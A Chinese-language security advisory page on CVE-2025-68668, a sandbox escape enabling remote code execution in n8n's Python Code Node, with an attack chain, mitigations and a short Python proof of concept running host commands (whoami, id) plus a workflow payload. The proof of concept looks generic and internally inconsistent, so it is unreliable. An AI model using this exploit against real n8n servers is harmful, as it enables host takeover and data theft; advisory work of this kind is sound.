IPBUF安全漏洞报告
English
CVE-2025-68668 CVSS 9.9 严重

CVE-2025-68668: n8n Python Code Node沙箱绕过导致远程代码执行

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-68668
漏洞类型
沙箱绕过/远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

沙箱绕过远程代码执行n8nPyodidePython工作流自动化权限提升CVE-2025-68668

漏洞概述

n8n是一个开源工作流自动化平台。在1.0.0到2.0.0之前的版本中,Python Code Node使用Pyodide实现存在严重的沙箱绕过漏洞。拥有创建或修改工作流权限的认证用户可以利用此漏洞突破Pyodide沙箱限制,在运行n8n的主机系统上执行任意命令,使用的权限与n8n进程相同。该漏洞CVSS评分高达9.9,属于严重级别,机密性和完整性影响均为高,可导致敏感数据泄露和系统完全被控。由于n8n通常以较高权限运行,攻击成功后可能对整个系统造成严重影响。漏洞已于2.0.0版本中修复。

技术细节

n8n的Python Code Node通过Pyodide在浏览器环境中运行Python代码,Pyodide旨在提供安全的Python执行沙箱。然而,从1.0.0到2.0.0之前的版本存在设计缺陷,允许攻击者绕过Pyodide的安全限制。具体而言,攻击者可以利用Python的某些内置模块或系统调用功能,突破沙箱边界,直接与主机操作系统交互。攻击者通过构造恶意的Python代码,利用ctypes、subprocess等模块调用系统命令,或利用文件操作访问主机文件系统。由于n8n的Python Code Node未正确隔离这些危险操作,攻击者可以以n8n进程的权限执行任意shell命令,实现远程代码执行。

攻击链分析

STEP 1
信息收集
攻击者识别目标运行n8n版本,确认版本在1.0.0到2.0.0之间,且Python Code Node功能已启用
STEP 2
获取访问权限
攻击者通过合法认证或凭据泄露获得n8n账户访问权限,需具备创建或修改工作流的权限
STEP 3
构造恶意工作流
攻击者创建或修改包含恶意Python代码的工作流节点,利用Python内置模块如ctypes、subprocess绕过Pyodide沙箱
STEP 4
触发代码执行
通过执行工作流触发恶意Python代码,在n8n服务器上以n8n进程权限执行任意系统命令
STEP 5
维持持久化
攻击者可在被控主机上部署后门、窃取敏感数据或横向移动攻击其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pyodide import ctypes import os # CVE-2025-68668 PoC - n8n Python Code Node Sandbox Escape # Target: n8n versions 1.0.0 to < 2.0.0 with Pyodide Python execution # This PoC demonstrates escaping the Pyodide sandbox to execute host commands # Note: Actual exploitation requires authenticated access to n8n workflow editor def exploit_sandbox_escape(): """ Sandbox escape technique using ctypes to call host system commands This exploits the lack of proper sandboxing in n8n's Python Code Node """ # Method 1: Using ctypes to access libc try: libc = ctypes.CDLL('libc.so.6') # Execute arbitrary command os.system('whoami > /tmp/pwned_user.txt') return True except Exception as e: pass # Method 2: Direct subprocess execution (bypasses Pyodide restrictions) try: import subprocess result = subprocess.run(['id'], capture_output=True, text=True) print(f'Command output: {result.stdout}') return True except Exception as e: pass return False # Workflow payload example (for n8n workflow JSON): # { # "nodes": [ # { # "name": "PythonCode", # "type": "n8n-nodes-base.code", # "parameters": { # "jsCode": "", # "pythonCode": "import os; os.system('malicious_command')" # } # } # ] # } exploit_sandbox_escape()

影响范围

n8n 1.0.0 - 1.x.x (< 2.0.0)

防御指南

临时缓解措施
立即采取以下措施之一:(1) 升级n8n至2.0.0或更高版本;(2) 如无法立即升级,通过设置环境变量NODES_EXCLUDE: "[\"n8n-nodes-base.code\"]"禁用Code Node;(3) 或设置N8N_PYTHON_ENABLED=false禁用Python支持(需n8n 1.104.0+);(4) 配置N8N_RUNNERS_ENABLED和N8N_NATIVE_PYTHON_RUNNER启用基于task runner的安全Python沙箱。同时审查用户权限,确保只有受信任用户具有工作流编辑权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表